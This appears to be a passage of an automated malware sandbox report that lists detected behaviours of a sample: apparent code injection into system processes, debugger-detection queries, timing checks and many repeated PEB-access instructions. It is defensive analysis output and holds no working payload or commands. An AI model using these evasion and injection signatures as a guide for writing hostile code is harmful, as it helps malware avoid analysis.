Source: explorer.exe, 00000004.00000002.11890837892.000000000CE47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Process information queried: ProcessInformation

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Code function: 3_2_00409AB0 rdtsc

3_2_00409AB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Code function: 3_2_0040ACF0 LdrLoadDll,

3_2_0040ACF0

Source: C:\Windows\SysWOW64\raserver.exe

5_2_00D1ACA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F5C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5F5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE05C6 mov eax, dword ptr fs:[00000030h]	3_2_05CE05C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9C5C6 mov eax, dword ptr fs:[00000030h]	3_2_05C9C5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C965D0 mov eax, dword ptr fs:[00000030h]	3_2_05C965D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B5E0 mov eax, dword ptr fs:[00000030h]	3_2_05C6B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B5E0 mov eax, dword ptr fs:[00000030h]	3_2_05C6B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B5E0 mov eax, dword ptr fs:[00000030h]	3_2_05C6B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B5E0 mov eax, dword ptr fs:[00000030h]	3_2_05C6B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B5E0 mov eax, dword ptr fs:[00000030h]	3_2_05C6B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B5E0 mov eax, dword ptr fs:[00000030h]	3_2_05C6B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C915EF mov eax, dword ptr fs:[00000030h]	3_2_05C915EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9A5E7 mov ebx, dword ptr fs:[00000030h]	3_2_05C9A5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9A5E7 mov eax, dword ptr fs:[00000030h]	3_2_05C9A5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEC5FC mov eax, dword ptr fs:[00000030h]	3_2_05CEC5FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE588 mov eax, dword ptr fs:[00000030h]	3_2_05CDE588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE588 mov eax, dword ptr fs:[00000030h]	3_2_05CDE588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9A580 mov eax, dword ptr fs:[00000030h]	3_2_05C9A580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9A580 mov eax, dword ptr fs:[00000030h]	3_2_05C9A580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C99580 mov eax, dword ptr fs:[00000030h]	3_2_05C99580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C99580 mov eax, dword ptr fs:[00000030h]	3_2_05C99580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F582 mov eax, dword ptr fs:[00000030h]	3_2_05D1F582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C92594 mov eax, dword ptr fs:[00000030h]	3_2_05C92594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE85AA mov eax, dword ptr fs:[00000030h]	3_2_05CE85AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C645B0 mov eax, dword ptr fs:[00000030h]	3_2_05C645B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C645B0 mov eax, dword ptr fs:[00000030h]	3_2_05C645B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7E547 mov eax, dword ptr fs:[00000030h]	3_2_05C7E547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2A553 mov eax, dword ptr fs:[00000030h]	3_2_05D2A553
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C96540 mov eax, dword ptr fs:[00000030h]	3_2_05C96540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C98540 mov eax, dword ptr fs:[00000030h]	3_2_05C98540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6254C mov eax, dword ptr fs:[00000030h]	3_2_05C6254C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D3B55F mov eax, dword ptr fs:[00000030h]	3_2_05D3B55F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D3B55F mov eax, dword ptr fs:[00000030h]	3_2_05D3B55F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7C560 mov eax, dword ptr fs:[00000030h]	3_2_05C7C560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9C50D mov eax, dword ptr fs:[00000030h]	3_2_05C9C50D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9C50D mov eax, dword ptr fs:[00000030h]	3_2_05C9C50D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C62500 mov eax, dword ptr fs:[00000030h]	3_2_05C62500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B502 mov eax, dword ptr fs:[00000030h]	3_2_05C5B502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov ecx, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov ecx, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0F51B mov eax, dword ptr fs:[00000030h]	3_2_05D0F51B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E507 mov eax, dword ptr fs:[00000030h]	3_2_05C8E507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E507 mov eax, dword ptr fs:[00000030h]	3_2_05C8E507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E507 mov eax, dword ptr fs:[00000030h]	3_2_05C8E507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E507 mov eax, dword ptr fs:[00000030h]	3_2_05C8E507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E507 mov eax, dword ptr fs:[00000030h]	3_2_05C8E507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E507 mov eax, dword ptr fs:[00000030h]	3_2_05C8E507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E507 mov eax, dword ptr fs:[00000030h]	3_2_05C8E507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E507 mov eax, dword ptr fs:[00000030h]	3_2_05C8E507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEC51D mov eax, dword ptr fs:[00000030h]	3_2_05CEC51D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C81514 mov eax, dword ptr fs:[00000030h]	3_2_05C81514
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C81514 mov eax, dword ptr fs:[00000030h]	3_2_05C81514
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C81514 mov eax, dword ptr fs:[00000030h]	3_2_05C81514
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C81514 mov eax, dword ptr fs:[00000030h]	3_2_05C81514
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C81514 mov eax, dword ptr fs:[00000030h]	3_2_05C81514
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C81514 mov eax, dword ptr fs:[00000030h]	3_2_05C81514
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7252B mov eax, dword ptr fs:[00000030h]	3_2_05C7252B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7252B mov eax, dword ptr fs:[00000030h]	3_2_05C7252B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7252B mov eax, dword ptr fs:[00000030h]	3_2_05C7252B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7252B mov eax, dword ptr fs:[00000030h]	3_2_05C7252B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7252B mov eax, dword ptr fs:[00000030h]	3_2_05C7252B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7252B mov eax, dword ptr fs:[00000030h]	3_2_05C7252B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7252B mov eax, dword ptr fs:[00000030h]	3_2_05C7252B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C91527 mov eax, dword ptr fs:[00000030h]	3_2_05C91527
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C63536 mov eax, dword ptr fs:[00000030h]	3_2_05C63536
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C63536 mov eax, dword ptr fs:[00000030h]	3_2_05C63536
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2539 mov eax, dword ptr fs:[00000030h]	3_2_05CA2539
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5753F mov eax, dword ptr fs:[00000030h]	3_2_05C5753F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5753F mov eax, dword ptr fs:[00000030h]	3_2_05C5753F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5753F mov eax, dword ptr fs:[00000030h]	3_2_05C5753F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C814C9 mov eax, dword ptr fs:[00000030h]	3_2_05C814C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C814C9 mov eax, dword ptr fs:[00000030h]	3_2_05C814C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C814C9 mov eax, dword ptr fs:[00000030h]	3_2_05C814C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C814C9 mov eax, dword ptr fs:[00000030h]	3_2_05C814C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C814C9 mov eax, dword ptr fs:[00000030h]	3_2_05C814C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F4D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C844D1 mov eax, dword ptr fs:[00000030h]	3_2_05C844D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C844D1 mov eax, dword ptr fs:[00000030h]	3_2_05C844D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E4EF mov eax, dword ptr fs:[00000030h]	3_2_05C9E4EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E4EF mov eax, dword ptr fs:[00000030h]	3_2_05C9E4EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C954E0 mov eax, dword ptr fs:[00000030h]	3_2_05C954E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F4FD mov eax, dword ptr fs:[00000030h]	3_2_05D1F4FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C894FA mov eax, dword ptr fs:[00000030h]	3_2_05C894FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C664F0 mov eax, dword ptr fs:[00000030h]	3_2_05C664F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9A4F0 mov eax, dword ptr fs:[00000030h]	3_2_05C9A4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9A4F0 mov eax, dword ptr fs:[00000030h]	3_2_05C9A4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C60485 mov ecx, dword ptr fs:[00000030h]	3_2_05C60485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9648A mov eax, dword ptr fs:[00000030h]	3_2_05C9648A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9648A mov eax, dword ptr fs:[00000030h]	3_2_05C9648A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9648A mov eax, dword ptr fs:[00000030h]	3_2_05C9648A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9B490 mov eax, dword ptr fs:[00000030h]	3_2_05C9B490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9B490 mov eax, dword ptr fs:[00000030h]	3_2_05C9B490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEC490 mov eax, dword ptr fs:[00000030h]	3_2_05CEC490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C944A8 mov eax, dword ptr fs:[00000030h]	3_2_05C944A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C624A2 mov eax, dword ptr fs:[00000030h]	3_2_05C624A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C624A2 mov ecx, dword ptr fs:[00000030h]	3_2_05C624A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CED4A0 mov ecx, dword ptr fs:[00000030h]	3_2_05CED4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CED4A0 mov eax, dword ptr fs:[00000030h]	3_2_05CED4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CED4A0 mov eax, dword ptr fs:[00000030h]	3_2_05CED4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E4BC mov eax, dword ptr fs:[00000030h]	3_2_05C9E4BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70445 mov eax, dword ptr fs:[00000030h]	3_2_05C70445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70445 mov eax, dword ptr fs:[00000030h]	3_2_05C70445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70445 mov eax, dword ptr fs:[00000030h]	3_2_05C70445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70445 mov eax, dword ptr fs:[00000030h]	3_2_05C70445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70445 mov eax, dword ptr fs:[00000030h]	3_2_05C70445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70445 mov eax, dword ptr fs:[00000030h]	3_2_05C70445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6D454 mov eax, dword ptr fs:[00000030h]	3_2_05C6D454
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6D454 mov eax, dword ptr fs:[00000030h]	3_2_05C6D454
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6D454 mov eax, dword ptr fs:[00000030h]	3_2_05C6D454
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6D454 mov eax, dword ptr fs:[00000030h]	3_2_05C6D454
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6D454 mov eax, dword ptr fs:[00000030h]	3_2_05C6D454
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6D454 mov eax, dword ptr fs:[00000030h]	3_2_05C6D454
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E45E mov eax, dword ptr fs:[00000030h]	3_2_05C8E45E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E45E mov eax, dword ptr fs:[00000030h]	3_2_05C8E45E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E45E mov eax, dword ptr fs:[00000030h]	3_2_05C8E45E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E45E mov eax, dword ptr fs:[00000030h]	3_2_05C8E45E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E45E mov eax, dword ptr fs:[00000030h]	3_2_05C8E45E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9D450 mov eax, dword ptr fs:[00000030h]	3_2_05C9D450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9D450 mov eax, dword ptr fs:[00000030h]	3_2_05C9D450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F478 mov eax, dword ptr fs:[00000030h]	3_2_05D1F478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C68470 mov eax, dword ptr fs:[00000030h]	3_2_05C68470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C68470 mov eax, dword ptr fs:[00000030h]	3_2_05C68470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2A464 mov eax, dword ptr fs:[00000030h]	3_2_05D2A464
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5640D mov eax, dword ptr fs:[00000030h]	3_2_05C5640D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF6400 mov eax, dword ptr fs:[00000030h]	3_2_05CF6400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF6400 mov eax, dword ptr fs:[00000030h]	3_2_05CF6400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F409 mov eax, dword ptr fs:[00000030h]	3_2_05D1F409
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEF42F mov eax, dword ptr fs:[00000030h]	3_2_05CEF42F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEF42F mov eax, dword ptr fs:[00000030h]	3_2_05CEF42F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEF42F mov eax, dword ptr fs:[00000030h]	3_2_05CEF42F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEF42F mov eax, dword ptr fs:[00000030h]	3_2_05CEF42F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEF42F mov eax, dword ptr fs:[00000030h]	3_2_05CEF42F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B420 mov eax, dword ptr fs:[00000030h]	3_2_05C5B420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE9429 mov eax, dword ptr fs:[00000030h]	3_2_05CE9429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C97425 mov eax, dword ptr fs:[00000030h]	3_2_05C97425
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C97425 mov ecx, dword ptr fs:[00000030h]	3_2_05C97425
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F7CF mov eax, dword ptr fs:[00000030h]	3_2_05D1F7CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C637E4 mov eax, dword ptr fs:[00000030h]	3_2_05C637E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C637E4 mov eax, dword ptr fs:[00000030h]	3_2_05C637E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C637E4 mov eax, dword ptr fs:[00000030h]	3_2_05C637E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C637E4 mov eax, dword ptr fs:[00000030h]	3_2_05C637E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C637E4 mov eax, dword ptr fs:[00000030h]	3_2_05C637E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C637E4 mov eax, dword ptr fs:[00000030h]	3_2_05C637E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C637E4 mov eax, dword ptr fs:[00000030h]	3_2_05C637E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8E7E0 mov eax, dword ptr fs:[00000030h]	3_2_05C8E7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C677F9 mov eax, dword ptr fs:[00000030h]	3_2_05C677F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C677F9 mov eax, dword ptr fs:[00000030h]	3_2_05C677F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
